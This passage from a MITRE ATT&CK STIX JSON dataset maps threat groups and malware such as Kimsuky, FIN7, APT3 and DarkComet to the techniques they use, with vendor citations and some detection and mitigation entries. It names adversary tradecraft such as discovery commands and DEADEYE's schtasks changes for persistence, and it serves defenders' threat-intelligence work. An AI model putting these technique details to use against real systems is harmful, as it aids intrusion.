2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9c05069-a05f-4b74-9b4d-275c64f2e124","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/","description":"ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito May 2018"},{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2019-07-14T21:04:45.625Z","description":"(Citation: ESET Turla Mosquito May 2018)(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b9c55e61-5864-45a1-91a7-91901f843678","created":"2024-05-17T14:00:12.554Z","revoked":false,"external_references":[{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T14:00:12.554Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) variants have been delivered via malicious advertising items that, when interacted with, download a malicious archive file containing the initial payload, hosted on services such as Discord.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b9c68fbb-45d5-41d3-9bfb-e591d38af920","created":"2022-03-25T16:21:29.192Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute the ipconfig /all command on a victim system.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:30:29.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9dcab92-6b0d-43c7-a122-90eccb016b9d","type":"relationship","created":"2020-11-10T15:39:49.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."}],"modified":"2020-11-10T15:39:49.375Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has lured victims into clicking a malicious link delivered through spearphishing.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9de1f4c-1978-4efe-9bd0-f525b6acaeb1","type":"relationship","created":"2021-04-13T13:27:27.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Conficker","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker","description":"Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021."}],"modified":"2021-05-04T18:09:08.727Z","description":"[Conficker](https://attack.mitre.org/software/S0608) has obfuscated its code to prevent its removal from host machines.(Citation: Trend Micro Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9decd90-60fa-4edc-b428-70e94d6d8207","type":"relationship","created":"2020-05-20T20:39:29.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-20T20:39:29.132Z","description":"(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2019-07-26T23:07:21.030Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getFirefoxPassword function to attempt to locate Firefox passwords.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9e42e0a-e779-4491-b107-a064254a7da3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos NavRAT May 2018","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","url":"https://blog.talosintelligence.com/2018/05/navrat.html"}],"modified":"2020-03-16T17:19:47.323Z","description":"[NavRAT](https://attack.mitre.org/software/S0247) uses tasklist /v to check running processes.(Citation: Talos NavRAT May 2018)","relationship_type":"uses","source_ref":"malware--53a42597-1974-4b8e-84fd-3675e8992053","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9ea9e15-a460-4957-988b-4a9af00619bd","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor file access on removable media that may attempt to exfiltrate data over a USB connected physical device.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b9ed53b8-71a5-44a3-90d1-2fb600991674","created":"2022-01-09T22:14:54.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.684Z","description":"[Zox](https://attack.mitre.org/software/S0672) has the ability to leverage local and remote exploits to escalate privileges.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b9edded2-4f07-431c-bdc1-e7ba489dd253","created":"2022-09-26T20:25:57.941Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T20:25:57.941Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can test a connection to a specified network IP address over a specified port number.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9ef32ed-bec0-4f2a-863c-5c8400d9a970","type":"relationship","created":"2020-02-21T15:58:20.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T20:41:09.224Z","description":"Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b9f1dec0-f9b8-4cc3-a26c-5fc819f603a0","created":"2019-08-26T15:27:12.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"Zdnet Kimsuky Dec 2018","description":"Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.","url":"https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/"},{"source_name":"Cybereason Kimsuky November 2020","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"},{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"VirusBulletin Kimsuky October 2019","description":"Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020.","url":"https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Securelist Kimsuky Sept 2013","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"},{"source_name":"ThreatConnect Kimsuky September 2020","description":"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.","url":"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.415Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns.(Citation: Zdnet Kimsuky Dec 2018)(Citation: Securelist Kimsuky Sept 2013)(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2","created":"2017-05-31T21:33:27.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.684Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9f6e673-8c15-465e-9ef0-2bcc8efc586e","type":"relationship","created":"2019-01-29T19:18:28.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"},{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.669Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can listen in to victims' conversations through the system’s microphone.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9fe8dd4-a3c9-4e58-9a74-937e4de677a8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"},{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-08-16T18:52:50.602Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) is capable of obtaining directory, file, and drive listings.(Citation: Fidelis Turbo)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba0d8cf0-e6a7-4465-b818-d7b71b441919","type":"relationship","created":"2021-09-07T20:49:49.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-09-07T20:49:49.576Z","description":" [Siloscape](https://attack.mitre.org/software/S0623) searches for the Kubernetes config file and other related files using a regular expression.(Citation: Unit 42 Siloscape Jun 2021) ","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba116238-1da4-415f-94a8-d4c577a16561","created":"2023-04-10T19:32:11.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T12:54:27.335Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) has used `schtasks /change` to modify scheduled tasks including `\\Microsoft\\Windows\\PLA\\Server Manager Performance Monitor`, `\\Microsoft\\Windows\\Ras\\ManagerMobility, \\Microsoft\\Windows\\WDI\\SrvSetupResults`, and `\\Microsoft\\Windows\\WDI\\USOShared`.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba150ca6-eb41-460a-87c7-049fac78c5cf","created":"2022-09-26T21:43:18.745Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T21:43:18.746Z","description":"During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), additional payloads were downloaded after a target was infected with a first-stage downloader.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba18af0c-8b4d-4be0-9b62-f29207856ea9","type":"relationship","created":"2019-01-30T17:43:28.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"},{"source_name":"Microsoft DUBNIUM July 2016","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021."}],"modified":"2021-04-05T20:52:47.471Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the IP address and network adapter information from the victim’s machine.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba18c3d0-049b-40c0-b65f-fe0463b3a9d6","created":"2023-03-20T19:19:01.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T19:42:12.359Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors used SSL via TCP port 443 for C2 communications.(Citation: FireEye APT29 Nov 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba18e103-7479-4041-be39-4a78e0961d92","type":"relationship","created":"2021-09-22T13:52:51.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"eSentire FIN7 July 2021","url":"https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc","description":"eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels’ Owner, Brown-Forman Inc.. Retrieved September 20, 2021."}],"modified":"2021-09-22T13:54:19.406Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has registered look-alike domains for use in phishing campaigns.(Citation: eSentire FIN7 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.128Z","description":"(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba1b953d-08ce-4b4b-924e-92556cdf1d90","type":"relationship","created":"2017-05-31T21:33:27.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"}],"modified":"2019-04-29T18:01:20.450Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has used PowerShell on victim systems to download and run payloads after exploitation.(Citation: FireEye Operation Double 